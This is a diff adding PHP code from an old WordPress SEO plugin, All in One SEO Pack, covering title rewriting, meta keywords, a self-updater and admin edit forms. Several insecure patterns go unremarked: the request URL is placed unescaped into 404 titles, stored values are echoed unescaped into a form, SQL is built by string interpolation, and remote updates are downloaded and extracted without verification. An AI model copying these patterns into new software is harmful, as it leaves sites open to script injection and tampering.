+	        if ($query->is_page && ('page' == get_option('show_on_front')) && 
+	            $post->ID == get_option('page_on_front'))
+	        {
+	            $link = trailingslashit($link);
+	        }*/
+	    } elseif ($query->is_author && $haspost) {
+	        global $wp_version;
+	        if ($wp_version >= '2') {
+	            $author = get_userdata(get_query_var('author'));
+	            if ($author === false)
+	                return false;
+	            $link = get_author_link(false, $author->ID,
+	                $author->user_nicename);
+	        } else {
+	            global $cache_userdata;
+	            $userid = get_query_var('author');
+	            $link = get_author_link(false, $userid,
+	                $cache_userdata[$userid]->user_nicename);
+	        }
+	    } elseif ($query->is_category && $haspost) {
+	        $link = get_category_link(get_query_var('cat'));
+			$link = $this->yoast_get_paged($link);
+		} else if ($query->is_tag  && $haspost) {
+			$tag = get_term_by('slug',get_query_var('tag'),'post_tag');
+	             if (!empty($tag->term_id)) {
+	                    $link = get_tag_link($tag->term_id);
+	             } 
+				 $link = $this->yoast_get_paged($link);			
+	    } elseif ($query->is_day && $haspost) {
+	        $link = get_day_link(get_query_var('year'),
+	                             get_query_var('monthnum'),
+	                             get_query_var('day'));
+	    } elseif ($query->is_month && $haspost) {
+	        $link = get_month_link(get_query_var('year'),
+	                               get_query_var('monthnum'));
+	    } elseif ($query->is_year && $haspost) {
+	        $link = get_year_link(get_query_var('year'));
+	    } elseif ($query->is_home) {
+	        if ((get_option('show_on_front') == 'page') &&
+	            ($pageid = get_option('page_for_posts'))) 
+	        {
+	            $link = get_permalink($pageid);
+				$link = $this->yoast_get_paged($link);
+				$link = trailingslashit($link);
+	        } else {
+	            $link = get_option('home');
+				$link = $this->yoast_get_paged($link);
+				$link = trailingslashit($link);	        }
+	    } else {
+	        return false;
+	    }
+	
+		return $link;
+		
+	}
+	
+	
+	function yoast_get_paged($link) {
+			$page = get_query_var('paged');
+	        if ($page && $page > 1) {
+	            $link = trailingslashit($link) ."page/". "$page";
+	            if ($has_ut) {
+	                $link = user_trailingslashit($link, 'paged');
+	            } else {
+	                $link .= '/';
+	            }
+			}
+			return $link;
+	}	
+	
+	
+	function get_post_description($post) {
+		global $aioseop_options;
+	    $description = trim(stripcslashes($this->internationalize(get_post_meta($post->ID, "_aioseop_description", true))));
+		if (!$description) {
+			$description = $this->trim_excerpt_without_filters_full_length($this->internationalize($post->post_excerpt));
+			if (!$description && $aioseop_options["aiosp_generate_descriptions"]) {
+				$description = $this->trim_excerpt_without_filters($this->internationalize($post->post_content));
+			}				
+		}
+		
+		// "internal whitespace trim"
+		$description = preg_replace("/\s\s+/", " ", $description);
+		
+		return $description;
+	}
+	
+	function replace_title($content, $title) {
+		$title = trim(strip_tags($title));
+		
+		$title_tag_start = "<title>";
+		$title_tag_end = "</title>";
+		$len_start = strlen($title_tag_start);
+		$len_end = strlen($title_tag_end);
+		$title = stripcslashes(trim($title));
+		$start = strpos($content, $title_tag_start);
+		$end = strpos($content, $title_tag_end);
+		
+		$this->title_start = $start;
+		$this->title_end = $end;
+		$this->orig_title = $title;
+		
+		if ($start && $end) {
+			$header = substr($content, 0, $start + $len_start) . $title .  substr($content, $end);
+		} else {
+			// this breaks some sitemap plugins (like wpg2)
+			//$header = $content . "<title>$title</title>";
+			
+			$header = $content;
+		}
+		
+		return $header;
+	}
+	
+	function internationalize($in) {
+		if (function_exists('langswitch_filter_langs_with_message')) {
+			$in = langswitch_filter_langs_with_message($in);
+		}
+		if (function_exists('polyglot_filter')) {
+			$in = polyglot_filter($in);
+		}
+		if (function_exists('qtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage')) {
+			$in = qtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage($in);
+		}
+		$in = apply_filters('localization', $in);
+		return $in;
+	}
+	
+	/** @return The original title as delivered by WP (well, in most cases) */
+	function get_original_title() {
+		global $wp_query;
+		global $aioseop_options;
+		if (!$wp_query) {
+			return null;	
+		}
+		
+		$post = $wp_query->get_queried_object();
+		
+		// the_search_query() is not suitable, it cannot just return
+		global $s;
+		
+		$title = null;
+		
+		if (is_home()) {
+			$title = get_option('blogname');
+		} else if (is_single()) {
+			$title = $this->internationalize(wp_title('', false));
+		} else if (is_search() && isset($s) && !empty($s)) {
+			if (function_exists('attribute_escape')) {
+				$search = attribute_escape(stripcslashes($s));
+			} else {
+				$search = wp_specialchars(stripcslashes($s), true);
+			}
+			$search = $this->capitalize($search);
+			$title = $search;
+		} else if (is_category() && !is_feed()) {
+			$category_description = $this->internationalize(category_description());
+			$category_name = ucwords($this->internationalize(single_cat_title('', false)));
+			$title = $category_name;
+		} else if (is_page()) {
+			$title = $this->internationalize(wp_title('', false));
+		} else if (function_exists('is_tag') && is_tag()) {
+			global $utw;
+			if ($utw) {
+				$tags = $utw->GetCurrentTagSet();
+				$tag = $tags[0]->tag;
+		        $tag = str_replace('-', ' ', $tag);
+			} else {
+				// wordpress > 2.3
+				$tag = $this->internationalize(wp_title('', false));
+			}
+			if ($tag) {
+				$title = $tag;
+			}
+		} else if (is_archive()) {
+			$title = $this->internationalize(wp_title('', false));
+		} else if (is_404()) {
+		    $title_format = $aioseop_options['aiosp_404_title_format'];
+		    $new_title = str_replace('%blog_title%', $this->internationalize(get_bloginfo('name')), $title_format);
+		    $new_title = str_replace('%blog_description%', $this->internationalize(get_bloginfo('description')), $new_title);
+		    $new_title = str_replace('%request_url%', $_SERVER['REQUEST_URI'], $new_title);
+		    $new_title = str_replace('%request_words%', $this->request_as_words($_SERVER['REQUEST_URI']), $new_title);
+				$title = $new_title;
+			}
+			
+			return trim($title);
+		}
+	
+	function paged_title($title) {
+		// the page number if paged
+		global $paged;
+		global $aioseop_options;
+		// simple tagging support
+		global $STagging;
+
+		if (is_paged() || (isset($STagging) && $STagging->is_tag_view() && $paged)) {
+			$part = $this->internationalize($aioseop_options['aiosp_paged_format']);
+			if (isset($part) || !empty($part)) {
+				$part = " " . trim($part);
+				$part = str_replace('%page%', $paged, $part);
+				$this->log("paged_title() [$title] [$part]");
+				$title .= $part;
+			}
+		}
+		return $title;
+	}
+
+	function rewrite_title($header) {
+		global $aioseop_options;
+		global $wp_query;
+		if (!$wp_query) {
+			$header .= "<!-- no wp_query found! -->\n";
+			return $header;	
+		}
+		
+		$post = $wp_query->get_queried_object();
+		
+		// the_search_query() is not suitable, it cannot just return
+		global $s;
+		
+		global $STagging;
+
+		if (is_home() && !$this->is_static_posts_page()) {
+			$title = $this->internationalize($aioseop_options['aiosp_home_title']);
+			if (empty($title)) {
+				$title = $this->internationalize(get_option('blogname'));
+			}
+			$title = $this->paged_title($title);
+			$header = $this->replace_title($header, $title);
+		} else if (is_attachment()) { 
+	                        $title = get_the_title($post->post_parent).' '.$post->post_title.' â '.get_option('blogname');
+	                        $header = $this->replace_title($header,$title);
+		} else if (is_single()) {
+			// we're not in the loop :(
+			$authordata = get_userdata($post->post_author);
+			$categories = get_the_category();
+			$category = '';
+			if (count($categories) > 0) {
+				$category = $categories[0]->cat_name;
+			}
+			$title = $this->internationalize(get_post_meta($post->ID, "_aioseop_title", true));
+			if (!$title) {
+				$title = $this->internationalize(get_post_meta($post->ID, "title_tag", true));
+				if (!$title) {
+					$title = $this->internationalize(wp_title('', false));
+				}
+			}
+            $title_format = $aioseop_options['aiosp_post_title_format'];
+            $new_title = str_replace('%blog_title%', $this->internationalize(get_bloginfo('name')), $title_format);
+            $new_title = str_replace('%blog_description%', $this->internationalize(get_bloginfo('description')), $new_title);
+            $new_title = str_replace('%post_title%', $title, $new_title);
+            $new_title = str_replace('%category%', $category, $new_title);
+            $new_title = str_replace('%category_title%', $category, $new_title);
+            $new_title = str_replace('%post_author_login%', $authordata->user_login, $new_title);
+            $new_title = str_replace('%post_author_nicename%', $authordata->user_nicename, $new_title);
+            $new_title = str_replace('%post_author_firstname%', ucwords($authordata->first_name), $new_title);
+            $new_title = str_replace('%post_author_lastname%', ucwords($authordata->last_name), $new_title);
+			$title = $new_title;
+			$title = trim($title);
+			$title = apply_filters('aioseop_title_single',$title);
+			$header = $this->replace_title($header, $title);
+		} else if (is_search() && isset($s) && !empty($s)) {
+			if (function_exists('attribute_escape')) {
+				$search = attribute_escape(stripcslashes($s));
+			} else {
+				$search = wp_specialchars(stripcslashes($s), true);
+			}
+			$search = $this->capitalize($search);
+            $title_format = $aioseop_options['aiosp_search_title_format'];
+            $title = str_replace('%blog_title%', $this->internationalize(get_bloginfo('name')), $title_format);
+            $title = str_replace('%blog_description%', $this->internationalize(get_bloginfo('description')), $title);
+            $title = str_replace('%search%', $search, $title);
+			$header = $this->replace_title($header, $title);
+		} else if (is_category() && !is_feed()) {
+			$category_description = $this->internationalize(category_description());
+				if($aioseop_options['aiosp_cap_cats']){
+					$category_name = ucwords($this->internationalize(single_cat_title('', false)));
+				}else{
+						$category_name = $this->internationalize(single_cat_title('', false));
+				}			
+			//$category_name = ucwords($this->internationalize(single_cat_title('', false)));
+            $title_format = $aioseop_options['aiosp_category_title_format'];
+            $title = str_replace('%category_title%', $category_name, $title_format);
+            $title = str_replace('%category_description%', $category_description, $title);
+            $title = str_replace('%blog_title%', $this->internationalize(get_bloginfo('name')), $title);
+            $title = str_replace('%blog_description%', $this->internationalize(get_bloginfo('description')), $title);
+            $title = $this->paged_title($title);
+			$header = $this->replace_title($header, $title);
+		} else if (is_page() || $this->is_static_posts_page()) {
+			// we're not in the loop :(
+			$authordata = get_userdata($post->post_author);
+			if ($this->is_static_front_page()) {
+				if ($this->internationalize($aioseop_options['aiosp_home_title'])) {
+					$header = $this->replace_title($header, $this->internationalize($aioseop_options['aiosp_home_title']));
+				}
+			} else {
+				$title = $this->internationalize(get_post_meta($post->ID, "_aioseop_title", true));
+				if (!$title) {
+					$title = $this->internationalize(wp_title('', false));
+				}
+	            $title_format = $aioseop_options['aiosp_page_title_format'];
+	            $new_title = str_replace('%blog_title%', $this->internationalize(get_bloginfo('name')), $title_format);
+	            $new_title = str_replace('%blog_description%', $this->internationalize(get_bloginfo('description')), $new_title);
+	            $new_title = str_replace('%page_title%', $title, $new_title);
+	            $new_title = str_replace('%page_author_login%', $authordata->user_login, $new_title);
+	            $new_title = str_replace('%page_author_nicename%', $authordata->user_nicename, $new_title);
+	            $new_title = str_replace('%page_author_firstname%', ucwords($authordata->first_name), $new_title);
+	            $new_title = str_replace('%page_author_lastname%', ucwords($authordata->last_name), $new_title);
+				$title = trim($new_title);
+				$title = apply_filters('aioseop_title_page',$title);
+				$header = $this->replace_title($header, $title);
+			}
+		} else if (function_exists('is_tag') && is_tag()) {
+			global $utw;
+			if ($utw) {
+				$tags = $utw->GetCurrentTagSet();
+				$tag = $tags[0]->tag;
+	            $tag = str_replace('-', ' ', $tag);
+			} else {
+				// wordpress > 2.3
+				$tag = $this->internationalize(wp_title('', false));
+			}
+			if ($tag) {
+	            $tag = $this->capitalize($tag);
+	            $title_format = $aioseop_options['aiosp_tag_title_format'];
+	            $title = str_replace('%blog_title%', $this->internationalize(get_bloginfo('name')), $title_format);
+	            $title = str_replace('%blog_description%', $this->internationalize(get_bloginfo('description')), $title);
+	            $title = str_replace('%tag%', $tag, $title);
+	            $title = $this->paged_title($title);
+				$header = $this->replace_title($header, $title);
+			}
+		} else if (isset($STagging) && $STagging->is_tag_view()) { // simple tagging support
+			$tag = $STagging->search_tag;
+			if ($tag) {
+	            $tag = $this->capitalize($tag);
+	            $title_format = $aioseop_options['aiosp_tag_title_format'];
+	            $title = str_replace('%blog_title%', $this->internationalize(get_bloginfo('name')), $title_format);
+	            $title = str_replace('%blog_description%', $this->internationalize(get_bloginfo('description')), $title);
+	            $title = str_replace('%tag%', $tag, $title);
+	            $title = $this->paged_title($title);
+				$header = $this->replace_title($header, $title);
+			}
+		} else if (is_archive()) {
+			$date = $this->internationalize(wp_title('', false));
+            $title_format = $aioseop_options['aiosp_archive_title_format'];
+            $new_title = str_replace('%blog_title%', $this->internationalize(get_bloginfo('name')), $title_format);
+            $new_title = str_replace('%blog_description%', $this->internationalize(get_bloginfo('description')), $new_title);
+            $new_title = str_replace('%date%', $date, $new_title);
+			$title = trim($new_title);
+            $title = $this->paged_title($title);
+			$header = $this->replace_title($header, $title);
+		} else if (is_404()) {
+            $title_format = $aioseop_options['aiosp_404_title_format'];
+            $new_title = str_replace('%blog_title%', $this->internationalize(get_bloginfo('name')), $title_format);
+            $new_title = str_replace('%blog_description%', $this->internationalize(get_bloginfo('description')), $new_title);
+            $new_title = str_replace('%request_url%', $_SERVER['REQUEST_URI'], $new_title);
+            $new_title = str_replace('%request_words%', $this->request_as_words($_SERVER['REQUEST_URI']), $new_title);
+			$new_title = str_replace('%404_title%', $this->internationalize(wp_title('', false)), $new_title);
+			$header = $this->replace_title($header, $new_title);
+		}
+		
+		return $header;
+
+	}
+	
+	/**
+	 * @return User-readable nice words for a given request.
+	 */
+	function request_as_words($request) {
+		$request = htmlspecialchars($request);
+		$request = str_replace('.html', ' ', $request);
+		$request = str_replace('.htm', ' ', $request);
+		$request = str_replace('.', ' ', $request);
+		$request = str_replace('/', ' ', $request);
+		$request_a = explode(' ', $request);
+		$request_new = array();
+		foreach ($request_a as $token) {
+			$request_new[] = ucwords(trim($token));
+		}
+		$request = implode(' ', $request_new);
+		return $request;
+	}
+	
+	function capitalize($s) {
+		$s = trim($s);
+		$tokens = explode(' ', $s);
+		while (list($key, $val) = each($tokens)) {
+			$tokens[$key] = trim($tokens[$key]);
+			$tokens[$key] = strtoupper(substr($tokens[$key], 0, 1)) . substr($tokens[$key], 1);
+		}
+		$s = implode(' ', $tokens);
+		return $s;
+	}
+	
+	function trim_excerpt_without_filters($text) {
+		$text = str_replace(']]>', ']]&gt;', $text);
+                $text = preg_replace( '|\[(.+?)\](.+?\[/\\1\])?|s', '', $text );
+		$text = strip_tags($text);
+		$max = $this->maximum_description_length;
+		
+		if ($max < strlen($text)) {
+			while($text[$max] != ' ' && $max > $this->minimum_description_length) {
+				$max--;
+			}
+		}
+		$text = substr($text, 0, $max);
+		return trim(stripcslashes($text));
+	}
+	
+	function trim_excerpt_without_filters_full_length($text) {
+		$text = str_replace(']]>', ']]&gt;', $text);
+                $text = preg_replace( '|\[(.+?)\](.+?\[/\\1\])?|s', '', $text );
+		$text = strip_tags($text);
+		return trim(stripcslashes($text));
+	}
+	
+	/**
+	 * @return comma-separated list of unique keywords
+	 */
+	function get_all_keywords() {
+		global $posts;
+		global $aioseop_options;
+
+		if (is_404()) {
+			return null;
+		}
+		
+		// if we are on synthetic pages
+		if (!is_home() && !is_page() && !is_single() &&!$this->is_static_front_page() && !$this->is_static_posts_page()) {
+			return null;
+		}
+
+	    $keywords = array();
+	    if (is_array($posts)) {
+	        foreach ($posts as $post) {
+	            if ($post) {
+
+	                // custom field keywords
+	                $keywords_a = $keywords_i = null;
+	                $description_a = $description_i = null;
+           
+                    $id = (is_attachment())?($post->post_parent):($post->ID); // if attachment then use parent post id
+                    $keywords_i = stripcslashes($this->internationalize(get_post_meta($id, "_aioseop_keywords", true)));
+       				//$id = $post->ID;
+					//$keywords_i = stripcslashes($this->internationalize(get_post_meta($post->ID, "_aioseop_keywords", true)));
+	                $keywords_i = str_replace('"', '', $keywords_i);
+	                if (isset($keywords_i) && !empty($keywords_i)) {
+	                	$traverse = explode(',', $keywords_i);
+	                	foreach ($traverse as $keyword) {
+	                		$keywords[] = $keyword;
+	                	}
+	                }
+	                
+	                // WP 2.3 tags
+	                if (function_exists('get_the_tags')) {
+	                	//$tags = get_the_tags($post->ID);
+						$tags = get_the_tags($id);
+	                	if ($tags && is_array($tags)) {
+		                	foreach ($tags as $tag) {
+		                		$keywords[] = $this->internationalize($tag->name);
+		                	}
+	                	}
+	                }
+
+	                // Ultimate Tag Warrior integration
+	                global $utw;
+	                if ($utw) {
+	                	$tags = $utw->GetTagsForPost($post);
+	                	if (is_array($tags)) {
+		                	foreach ($tags as $tag) {
+								$tag = $tag->tag;
+								$tag = str_replace('_',' ', $tag);
+								$tag = str_replace('-',' ',$tag);
+								$tag = stripcslashes($tag);
+		                		$keywords[] = $tag;
+		                	}
+	                	}
+	                }
+	                
+	                // autometa
+					$autometa = stripcslashes(get_post_meta($id, 'autometa', true));
+	                //$autometa = stripcslashes(get_post_meta($post->ID, "autometa", true));
+	                if (isset($autometa) && !empty($autometa)) {
+	                	$autometa_array = explode(' ', $autometa);
+	                	foreach ($autometa_array as $e) {
+	                		$keywords[] = $e;
+	                	}
+	                }
+
+	            	if ($aioseop_options['aiosp_use_categories'] && !is_page()) {
+		                $categories = get_the_category($id); 
+						//$categories = get_the_category($post->ID);
+		                foreach ($categories as $category) {
+		                	$keywords[] = $this->internationalize($category->cat_name);
+		                }
+	            	}
+
+	            }
+	        }
+	    }
+	    
+	    return $this->get_unique_keywords($keywords);
+	}
+	
+	function get_meta_keywords() {
+		global $posts;
+
+	    $keywords = array();
+	    if (is_array($posts)) {
+	        foreach ($posts as $post) {
+	            if ($post) {
+	                // custom field keywords
+	                $keywords_a = $keywords_i = null;
+	                $description_a = $description_i = null;
+	                $id = $post->ID;
+		            $keywords_i = stripcslashes(get_post_meta($post->ID, "_aioseop_keywords", true));
+	                $keywords_i = str_replace('"', '', $keywords_i);
+	                if (isset($keywords_i) && !empty($keywords_i)) {
+	                    $keywords[] = $keywords_i;
+	                }
+	            }
+	        }
+	    }
+	    
+	    return $this->get_unique_keywords($keywords);
+	}
+	
+	function get_unique_keywords($keywords) {
+		$small_keywords = array();
+		foreach ($keywords as $word) {
+			if (function_exists('mb_strtolower'))			
+				$small_keywords[] = mb_strtolower($word, get_bloginfo('charset'));
+			else 
+				$small_keywords[] = $this->strtolower($word);
+		}
+		$keywords_ar = array_unique($small_keywords);
+		return implode(',', $keywords_ar);
+	}
+	
+	function get_url($url)	{
+		if (function_exists('file_get_contents')) {
+			$file = file_get_contents($url);
+		} else {
+	        $curl = curl_init($url);
+	        curl_setopt($curl, CURLOPT_HEADER, 0);
+	        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
+	        $file = curl_exec($curl);
+	        curl_close($curl);
+	    }
+	    return $file;
+	}
+	
+	function log($message) {
+		if ($this->do_log) {
+			error_log(date('Y-m-d H:i:s') . " " . $message . "\n", 3, $this->log_file);
+		}
+	}
+
+	function download_newest_version() {
+		$success = true;
+	    $file_content = $this->get_url($this->upgrade_url);
+	    if ($file_content === false) {
+	    	$this->upgrade_error = sprintf(__("Could not download distribution (%s)"), $this->upgrade_url);
+			$success = false;
+	    } else if (strlen($file_content) < 100) {
+	    	$this->upgrade_error = sprintf(__("Could not download distribution (%s): %s"), $this->upgrade_url, $file_content);
+			$success = false;
+	    } else {
+	    	$this->log(sprintf("filesize of download ZIP: %d", strlen($file_content)));
+		    $fh = @fopen($this->upgrade_filename, 'w');
+		    $this->log("fh is $fh");
+		    if (!$fh) {
+		    	$this->upgrade_error = sprintf(__("Could not open %s for writing"), $this->upgrade_filename);
+		    	$this->upgrade_error .= "<br />";
+		    	$this->upgrade_error .= sprintf(__("Please make sure %s is writable"), $this->upgrade_folder);
+		    	$success = false;
+		    } else {
+		    	$bytes_written = @fwrite($fh, $file_content);
+			    $this->log("wrote $bytes_written bytes");
+		    	if (!$bytes_written) {
+			    	$this->upgrade_error = sprintf(__("Could not write to %s"), $this->upgrade_filename);
+			    	$success = false;
+		    	}
+		    }
+		    if ($success) {
+		    	fclose($fh);
+		    }
+	    }
+	    return $success;
+	}
+
+	function install_newest_version() {
+		$success = $this->download_newest_version();
+	    if ($success) {
+		    $success = $this->extract_plugin();
+		    unlink($this->upgrade_filename);
+	    }
+	    return $success;
+	}
+
+	function extract_plugin() {
+	    if (!class_exists('PclZip')) {
+	        require_once ('pclzip.lib.php');
+	    }
+	    $archive = new PclZip($this->upgrade_filename);
+	    $files = $archive->extract(PCLZIP_OPT_STOP_ON_ERROR, PCLZIP_OPT_REPLACE_NEWER, PCLZIP_OPT_REMOVE_ALL_PATH, PCLZIP_OPT_PATH, $this->upgrade_folder);
+	    $this->log("files is $files");
+	    if (is_array($files)) {
+	    	$num_extracted = sizeof($files);
+		    $this->log("extracted $num_extracted files to $this->upgrade_folder");
+		    $this->log(print_r($files, true));
+	    	return true;
+	    } else {
+	    	$this->upgrade_error = $archive->errorInfo();
+	    	return false;
+	    }
+	}
+	
+	/** crude approximization of whether current user is an admin */
+	function is_admin() {
+		return current_user_can('level_8');
+	}
+
+	
+	function is_directory_writable($directory) {
+		$filename = $directory . '/' . 'tmp_file_' . time();
+		$fh = @fopen($filename, 'w');
+		if (!$fh) {
+			return false;
+		}
+		
+		$written = fwrite($fh, "test");
+		fclose($fh);
+		unlink($filename);
+		if ($written) {
+			return true;
+		} else {
+			return false;
+		}
+	}
+
+
+	function is_upgrade_directory_writable() {
+		//return $this->is_directory_writable($this->upgrade_folder);
+		// let's assume it is
+		return true;
+	}
+
+
+	function post_meta_tags($id) {
+	    $awmp_edit = $_POST["aiosp_edit"];
+		$nonce = $_POST['nonce-aioseop-edit'];
+//		if (!wp_verify_nonce($nonce, 'edit-aioseop-nonce')) die ( 'Security Check - If you receive this in error, log out and back in to WordPress');
+	    if (isset($awmp_edit) && !empty($awmp_edit) && wp_verify_nonce($nonce, 'edit-aioseop-nonce')) {
+		    $keywords = $_POST["aiosp_keywords"];
+		    $description = $_POST["aiosp_description"];
+		    $title = $_POST["aiosp_title"];
+		    $aiosp_meta = $_POST["aiosp_meta"];
+		    $aiosp_disable = $_POST["aiosp_disable"];
+		    $aiosp_titleatr = $_POST["aiosp_titleatr"];
+		    $aiosp_menulabel = $_POST["aiosp_menulabel"];
+				
+		    delete_post_meta($id, '_aioseop_keywords');
+		    delete_post_meta($id, '_aioseop_description');
+		    delete_post_meta($id, '_aioseop_title');
+		    delete_post_meta($id, '_aioseop_titleatr');
+		    delete_post_meta($id, '_aioseop_menulabel');
+		
+		
+		    if ($this->is_admin()) {
+		    	delete_post_meta($id, '_aioseop_disable');
+		    }
+		    //delete_post_meta($id, 'aiosp_meta');
+
+		    if (isset($keywords) && !empty($keywords)) {
+			    add_post_meta($id, '_aioseop_keywords', $keywords);
+		    }
+		    if (isset($description) && !empty($description)) {
+			    add_post_meta($id, '_aioseop_description', $description);
+		    }
+		    if (isset($title) && !empty($title)) {
+			    add_post_meta($id, '_aioseop_title', $title);
+		    }
+		    if (isset($aiosp_titleatr) && !empty($aiosp_titleatr)) {
+			    add_post_meta($id, '_aioseop_titleatr', $aiosp_titleatr);
+		    }
+		    if (isset($aiosp_menulabel) && !empty($aiosp_menulabel)) {
+			    add_post_meta($id, '_aioseop_menulabel', $aiosp_menulabel);
+		    }				
+		    if (isset($aiosp_disable) && !empty($aiosp_disable) && $this->is_admin()) {
+			    add_post_meta($id, '_aioseop_disable', $aiosp_disable);
+		    }
+		    /*
+		    if (isset($aiosp_meta) && !empty($aiosp_meta)) {
+			    add_post_meta($id, 'aiosp_meta', $aiosp_meta);
+		    }
+		    */
+	    }
+	}
+
+	function edit_category($id) {
+		global $wpdb;
+		$id = $wpdb->escape($id);
+	    $awmp_edit = $_POST["aiosp_edit"];
+	    if (isset($awmp_edit) && !empty($awmp_edit)) {
+		    $keywords = $wpdb->escape($_POST["aiosp_keywords"]);
+		    $title = $wpdb->escape($_POST["aiosp_title"]);
+		    $old_category = $wpdb->get_row("select * from $this->table_categories where category_id=$id", OBJECT);
+		    if ($old_category) {
+		    	$wpdb->query($wpdb->prepare("update $this->table_categories
+		    			set meta_title='$title', meta_keywords='$keywords'
+		    			where category_id=$id"));
+		    } else {
+		    	$wpdb->query($wpdb->prepare("insert into $this->table_categories(meta_title, meta_keywords, category_id)
+		    			values ('$title', '$keywords', $id"));
+		    }
+		    //$wpdb->query($wpdb->prepare("insert into $this->table_categories"))
+	    	/*
+		    delete_post_meta($id, 'keywords');
+		    delete_post_meta($id, 'description');
+		    delete_post_meta($id, 'title');
+
+		    if (isset($keywords) && !empty($keywords)) {
+			    add_post_meta($id, 'keywords', $keywords);
+		    }
+		    if (isset($description) && !empty($description)) {
+			    add_post_meta($id, 'description', $description);
+		    }
+		    if (isset($title) && !empty($title)) {
+			    add_post_meta($id, 'title', $title);
+		    }
+		    */
+	    }
+	}
+
+	/**
+	 * @deprecated This was for the feature of dedicated meta tags for categories which never went mainstream.
+	 */
+	function edit_category_form() {
+	    global $post;
+	    $keywords = stripcslashes(get_post_meta($post->ID, '_aioseop_keywords', true));
+	    $title = stripcslashes(get_post_meta($post->ID, '_aioseop_title', true));
+	    $description = stripcslashes(get_post_meta($post->ID, '_aioseop_description', true));
+		?>
+		<input value="aiosp_edit" type="hidden" name="aiosp_edit" />
+		<table class="editform" width="100%" cellspacing="2" cellpadding="5">
+		<tr>
+		<th width="33%" scope="row" valign="top">
+		<a href="http://wp.uberdose.com/2007/03/24/all-in-one-seo-pack/"><?php _e('All in One SEO Pack', 'all_in_one_seo_pack') ?></a>
+		</th>
+		</tr>
+		<tr>
+		<th width="33%" scope="row" valign="top"><label for="aiosp_title"><?php _e('Title:', 'all_in_one_seo_pack') ?></label></th>
+		<td><input value="<?php echo $title ?>" type="text" name="aiosp_title" size="70"/></td>
+		</tr>
+		<tr>
+		<th width="33%" scope="row" valign="top"><label for="aiosp_keywords"><?php _e('Keywords (comma separated):', 'all_in_one_seo_pack') ?></label></th>
+		<td><input value="<?php echo $keywords ?>" type="text" name="aiosp_keywords" size="70"/></td>
+		</tr>
+		</table>
+		<?php
+	}
+
+	function add_meta_tags_textinput() {
+	    global $post;
+	    $post_id = $post;
+	    if (is_object($post_id)) {
+	    	$post_id = $post_id->ID;
+	    }
+	    $keywords = htmlspecialchars(stripcslashes(get_post_meta($post_id, '_aioseop_keywords', true)));
+	    $title = htmlspecialchars(stripcslashes(get_post_meta($post_id, '_aioseop_title', true)));
+	    $description = htmlspecialchars(stripcslashes(get_post_meta($post_id, '_aioseop_description', true)));
+	    $aiosp_meta = htmlspecialchars(stripcslashes(get_post_meta($post_id, '_aioseop_meta', true)));
+	    $aiosp_disable = htmlspecialchars(stripcslashes(get_post_meta($post_id, '_aioseop_disable', true)));
+	    $aiosp_titleatr = htmlspecialchars(stripcslashes(get_post_meta($post_id, '_aioseop_titleatr', true)));
+	    $aiosp_menulabel = htmlspecialchars(stripcslashes(get_post_meta($post_id, '_aioseop_menulabel', true)));		
+	
+		?>
+		<SCRIPT LANGUAGE="JavaScript">
+		<!-- Begin
+		function countChars(field,cntfield) {
+		cntfield.value = field.value.length;
+		}
+		//  End -->
+		</script>
+
+	 <?php if (substr($this->wp_version, 0, 3) >= '2.5') { ?>
+                <div id="postaiosp" class="postbox closed">
+                <h3><?php _e('All in One SEO Pack', 'all_in_one_seo_pack') ?></h3>
+                <div class="inside">
+                <div id="postaiosp">
+                <?php } else { ?>
+                <div class="dbx-b-ox-wrapper">
+                <fieldset id="seodiv" class="dbx-box">
+                <div class="dbx-h-andle-wrapper">
+                <h3 class="dbx-handle"><?php _e('All in One SEO Pack', 'all_in_one_seo_pack') ?></h3>
+                </div>
+                <div class="dbx-c-ontent-wrapper">
+                <div class="dbx-content">
+                <?php } ?>
+	
+		<a target="__blank" href="http://semperfiwebdesign.com/portfolio/wordpress/wordpress-plugins/all-in-one-seo-pack/"><?php _e('Click here for Support', 'all_in_one_seo_pack') ?></a>
+		<input value="aiosp_edit" type="hidden" name="aiosp_edit" />
+		<table style="margin-bottom:40px">
+		<tr>
+		<th style="text-align:left;" colspan="2">
+		</th>
+		</tr>
+		<tr>
+		<th scope="row" style="text-align:right;"><?php _e('Title:', 'all_in_one_seo_pack') ?></th>
+		<td><input value="<?php echo $title ?>" type="text" name="aiosp_title" size="62"/></td>
+		</tr>
+		<tr>
+		<th scope="row" style="text-align:right;"><?php _e('Description:', 'all_in_one_seo_pack') ?></th>
+		<td><textarea name="aiosp_description" rows="1" cols="60"
+		onKeyDown="countChars(document.post.aiosp_description,document.post.length1)"
+		onKeyUp="countChars(document.post.aiosp_description,document.post.length1)"><?php echo $description ?></textarea><br />
+		<input readonly type="text" name="length1" size="3" maxlength="3" value="<?php echo strlen($description);?>" />
+		<?php _e(' characters. Most search engines use a maximum of 160 chars for the description.', 'all_in_one_seo_pack') ?>
+		</td>
+		</tr>
+		<tr>
+		<th scope="row" style="text-align:right;"><?php _e('Keywords (comma separated):', 'all_in_one_seo_pack') ?></th>
+		<td><input value="<?php echo $keywords ?>" type="text" name="aiosp_keywords" size="62"/></td>
+		</tr>
+<input type="hidden" name="nonce-aioseop-edit" value="<?php echo wp_create_nonce('edit-aioseop-nonce'); ?>" />
+		<?php if ($this->is_admin()) { ?>
+		<tr>
+		<th scope="row" style="text-align:right; vertical-align:top;">
+		<?php _e('Disable on this page/post:', 'all_in_one_seo_pack')?>
+		</th>
+		<td>
+		<input type="checkbox" name="aiosp_disable" <?php if ($aiosp_disable) echo "checked=\"1\""; ?>/>
+		</td>
+		</tr>
+		
+		<tr>
+		<th scope="row" style="text-align:right;"><?php _e('Title Attribute:', 'all_in_one_seo_pack') ?></th>
+		<td><input value="<?php echo $aiosp_titleatr ?>" type="text" name="aiosp_titleatr" size="62"/></td>
+		</tr>
+		
+		<tr>
+		<th scope="row" style="text-align:right;"><?php _e('Menu Label:', 'all_in_one_seo_pack') ?></th>
+		<td><input value="<?php echo $aiosp_menulabel ?>" type="text" name="aiosp_menulabel" size="62"/></td>
+		</tr>
+		
+		
+		
+		
+		
+		
+		<?php } ?>
+
+		</table>
+		
+		<?php if (substr($this->wp_version, 0, 3) >= '2.5') { ?>
+		</div></div></div>
+		<?php } else { ?>
+		</div>
+		</fieldset>
+		</div>
+		<?php } ?>
+
+		<?php
+	}
+
+	function admin_menu() {
+		$file = __FILE__;
+		
+		// hack for 1.5
+		if (substr($this->wp_version, 0, 3) == '1.5') {
+			$file = 'all-in-one-seo-pack/all_in_one_seo_pack.php';
+		}
